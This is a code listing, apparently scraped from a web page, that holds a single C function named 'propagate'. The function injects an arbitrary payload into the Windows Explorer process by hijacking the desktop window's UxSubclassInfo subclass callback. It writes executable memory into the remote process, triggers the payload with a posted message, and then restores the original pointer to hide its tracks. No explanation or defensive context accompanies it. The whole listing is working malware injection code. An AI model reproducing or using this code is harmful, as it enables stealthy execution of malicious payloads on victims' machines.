1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| VOID propagate(LPVOID payload, DWORD payloadSize) { HANDLE hp, p; DWORD id; HWND pwh, cwh; SUBCLASS_HEADER sh; LPVOID psh, pfnSubclass; SIZE_T rd,wr; pwh = FindWindow(L"Progman", NULL); cwh = FindWindowEx(pwh, NULL, L"SHELLDLL_DefView", NULL); p = GetProp(cwh, L"UxSubclassInfo"); GetWindowThreadProcessId(cwh, &id); hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id); ReadProcessMemory(hp, (LPVOID)p, &sh, sizeof(sh), &rd); psh = VirtualAllocEx(hp, NULL, sizeof(sh), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); pfnSubclass = VirtualAllocEx(hp, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hp, pfnSubclass, payload, payloadSize, &wr); sh.CallArray[0].pfnSubclass = (SUBCLASSPROC)pfnSubclass; WriteProcessMemory(hp, psh, &sh, sizeof(sh), &wr);
SetProp(cwh, L"UxSubclassInfo", psh); PostMessage(cwh, WM_CLOSE, 0, 0); SetProp(cwh, L"UxSubclassInfo", p); VirtualFreeEx(hp, psh, 0, MEM_DECOMMIT | MEM_RELEASE); VirtualFreeEx(hp, pfnSubclass, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp); }
|